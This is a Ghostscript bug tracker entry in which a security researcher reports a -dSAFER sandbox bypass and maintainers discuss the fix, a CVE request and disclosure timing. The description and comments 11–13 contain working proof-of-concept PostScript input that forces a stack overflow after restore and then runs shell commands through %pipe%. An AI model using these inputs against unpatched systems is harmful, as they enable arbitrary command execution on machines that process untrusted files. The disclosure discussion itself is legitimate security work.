Bug 700153 - Safer mode bypass allows shell command execution after restore
Summary: Safer mode bypass allows shell command execution after restore
Status: RESOLVED FIXED
Alias: None
Product: Ghostscript
Classification: Unclassified
Component: General (show other bugs)
Version: unspecified
Hardware: PC Linux
: P4 normal
Assignee: Default assignee
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2018-11-12 16:50 UTC by Man Yue Mo
Modified: 2019-01-23 11:35 UTC (History)
1 user (show)

See Also:
Customer:
Word Size: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Man Yue Mo 2018-11-12 16:50:11 UTC
Hi,

When `dorestore` exits, it sets `LockFilePermissions` to false.

http://git.ghostscript.com/?p=ghostpdl.git;a=blob;f=psi/zvmem.c;h=87a0a4ff1d68904995fd8e86ffb0e030c993f3f9;hb=81f3d1e7247b9a8e29a388677b01959e612a28c7#l198

It relies on the restore operator being wrapped inside here:

http://git.ghostscript.com/?p=ghostpdl.git;a=blob;f=Resource/Init/gs_lev2.ps;h=44fe619566596ff88d3b69e5fb3d4715ef2e6e23;hb=81f3d1e7247b9a8e29a388677b01959e612a28c7#l178

to use `.setuserparams` to cleanup `LockFilePermissions`.

However, it is possible to trigger a stackoverflow error after `restore` and before `.setuserparams` so that `LockFilePermissions` does not get reset. This will result in a bypass of the `-dSAFER` option that allows shell command to be executed after the failed restore.

For example, start gs in safer mode:

gdb --args ./gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null

GS>0 1 300367 {} for
GS<300368> save restore
Error: /stackoverflow in --.setglobal--
....
GS<1>(%pipe%id) findlibfile

This gives the following debugger output:
[New process 28796]
GS<4>[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 28796 is executing new program: /bin/dash
Error in re-setting breakpoint 1: Function "zputdeviceparams" not defined.
[New process 28797]
process 28797 is executing new program: /usr/bin/id
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Inferior 3 (process 28797) exited normally]

This is tested on binary build with commit 81f3d1e.

Thank you very much for your help and please let me know if there is anything I can help. Thanks.

Best Regards,

Man Yue Mo
Comment 1 Chris Liddell (chrisl) 2018-11-13 16:05:27 UTC
Fixed in:

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=aeea342904
Comment 2 Man Yue Mo 2018-11-14 15:17:47 UTC
Thanks! Is this going to be fixed in 9.26 and would you like me to request a CVE for it? Thanks.
Comment 3 Chris Liddell (chrisl) 2018-11-14 16:17:32 UTC
(In reply to Man Yue Mo from comment #2)
> Thanks! Is this going to be fixed in 9.26 and would you like me to request a
> CVE for it? Thanks.

Yes, the fix will be in 9.26.

I have no objection to you requesting a CVE, we'd prefer the exploit not be public for a month or so.
Comment 4 Man Yue Mo 2018-11-14 16:33:39 UTC
Thanks! I will request a CVE and let you know. When do you expect to release the new version? And are you happy to acknowledge me and my affiliation (for this and the other bugs I filed) in the release notes or security advisory as:

Man Yue Mo of Semmle Security Research Team

We normally would like to publish some write ups of the details of the bugs, which involve some explanations about the issues in the source code, but not the exploit. Are you happy for that kind of details to be published soon after the release? Let me know and thank you very much for your help.
Comment 5 Chris Liddell (chrisl) 2018-11-14 17:50:44 UTC
(In reply to Man Yue Mo from comment #4)
> Thanks! I will request a CVE and let you know. When do you expect to release
> the new version? And are you happy to acknowledge me and my affiliation (for
> this and the other bugs I filed) in the release notes or security advisory
> as:
> 
> Man Yue Mo of Semmle Security Research Team

Sure, that's fine. It can't go in the change log, because that's generated directly from the git logs, but we'll give you a credit in the release notes (as long as I remember!).

> We normally would like to publish some write ups of the details of the bugs,
> which involve some explanations about the issues in the source code, but not
> the exploit. Are you happy for that kind of details to be published soon
> after the release? Let me know and thank you very much for your help.

We'd prefer a 2-3 weeks at least, to give our customers and the free user community time to roll out the new release.

A couple of weeks after the release, we will make the bugs publicly visible, so you'll be able to reference those, if you want to.
Comment 6 Man Yue Mo 2018-11-15 11:23:06 UTC
> We'd prefer a 2-3 weeks at least, to give our customers and the free user 
> community time to roll out the new release.

That should be fine. We'll not publish technical write ups until 2-3 weeks after release then, although we'll probably publish some minimal high level descriptions (e.g. -dSAFER sandbox bypass) which should not give any details about the bugs itself.
 
> A couple of weeks after the release, we will make the bugs publicly visible,
> so you'll be able to reference those, if you want to.

If the ticket is publicly visible, would that not also show the exploit?
Comment 7 Ken Sharp 2018-11-15 11:35:25 UTC
(In reply to Man Yue Mo from comment #6)

> > A couple of weeks after the release, we will make the bugs publicly visible,
> > so you'll be able to reference those, if you want to.
> 
> If the ticket is publicly visible, would that not also show the exploit?

It will, yes, that's why we wait a bit before we make the security bugs public, to give package maintainers and our customers time to take the patches and (especially for Windows users) the released binaries.

Its also the reason we're doing an intermediate release. Our release schedule is normally 6 monthly; September and March (or thereabouts) and since it always takes us a couple of weeks to get a release together we prefer to keep to that schedule. But obviously if important enough bugs surface, we need to do a release for them. This is especially true for Windows, as many free users are unable to build Ghostscript from source, on Windows.

We believe the currently accepted practice is for security researchers to release exploits publicly after 90 days, or when a patch is available. So we've had to adjust our practices to cater for that reality; if an important enough security bug comes up, and its more than 90 days until the next release, then we need to do an intermediate one.

Your own reports have come in during the release candidate period for this release, so we're rolling them in. Otherwise we would have to look at another interim release.
Comment 8 Man Yue Mo 2018-11-15 11:49:53 UTC
> It will, yes, that's why we wait a bit before we make the security bugs
> public, to give package maintainers and our customers time to take the
> patches and (especially for Windows users) the released binaries.

Thanks for the detailed explanations. I guess my question is that, if you don't want the exploit to be published until a month or so after the release, then wouldn't it be too soon to make the ticket public a couple of weeks after the release?
Comment 9 Ken Sharp 2018-11-15 11:53:12 UTC
(In reply to Man Yue Mo from comment #8)
> > It will, yes, that's why we wait a bit before we make the security bugs
> > public, to give package maintainers and our customers time to take the
> > patches and (especially for Windows users) the released binaries.
> 
> Thanks for the detailed explanations. I guess my question is that, if you
> don't want the exploit to be published until a month or so after the
> release, then wouldn't it be too soon to make the ticket public a couple of
> weeks after the release?

I think Chris was indicating that 2-3 weeks from now would be 'a couple of weeks' after we do the release. That is, the two times would be more or less the same.

Obviously once we make the bug public you should feel free to do the same :-)
Comment 10 Man Yue Mo 2018-11-15 11:58:11 UTC
I see, you are talking about 2-3 weeks from now and I am thinking about 2-3 weeks from release, thanks for clarifying :)
Comment 11 Man Yue Mo 2018-11-16 15:37:08 UTC
The exploit here does not work on version 9.07 that CentOS 7 is using, but that version is still vulnerable with a slight change in the exploit:

GS>0 1 300367 {} for
GS<300368> save restore
Error: /stackoverflow in --.setglobal--
....
GS<1>(%pipe%/usr/share/ghostscript/9.07/Resource/Init/ & id) findlibfile

will still call the shell command `id`. So please make sure the patch is back-ported to that version also. Thanks.
Comment 12 Ken Sharp 2018-11-16 15:47:16 UTC
(In reply to Man Yue Mo from comment #11)
> The exploit here does not work on version 9.07 that CentOS 7 is using, but
> that version is still vulnerable with a slight change in the exploit:
> 
> GS>0 1 300367 {} for
> GS<300368> save restore
> Error: /stackoverflow in --.setglobal--
> ....
> GS<1>(%pipe%/usr/share/ghostscript/9.07/Resource/Init/ & id) findlibfile
> 
> will still call the shell command `id`. So please make sure the patch is
> back-ported to that version also. Thanks.

We can't do that, we aren't responsible for any package on any version of Linux.

Also, that's more than 5 and a half years old now, as the Red Hat package maintainers have discovered, it will be more or less impossible to take all the recent security patches and add them to code that old, especially those in the PDF interpreter.

Realistically its not going to be practical to do this.
Comment 13 Tom 2019-01-23 10:13:45 UTC
Is there any poc for windows ?

I tried the following in safe mode in ghostscript 9.23 / windows 10 . . 

GS>0 1 300367 {} for
GS<300368> save restore
GS<1>(%pipe%calc) (w) --file--

but did not lunch the calc, i got  Error: ?invalidfileaccess in --file--
...
...
Comment 14 Ken Sharp 2019-01-23 10:16:22 UTC
(In reply to Tom from comment #13)
> Is there any poc for windows ?
 
No.
Comment 15 Tom 2019-01-23 11:26:56 UTC
so is ghostscript on windows not affected from this vulnerability ?
Comment 16 Ken Sharp 2019-01-23 11:35:37 UTC
(In reply to Tom from comment #15)
> so is ghostscript on windows not affected from this vulnerability ?

Yes it was.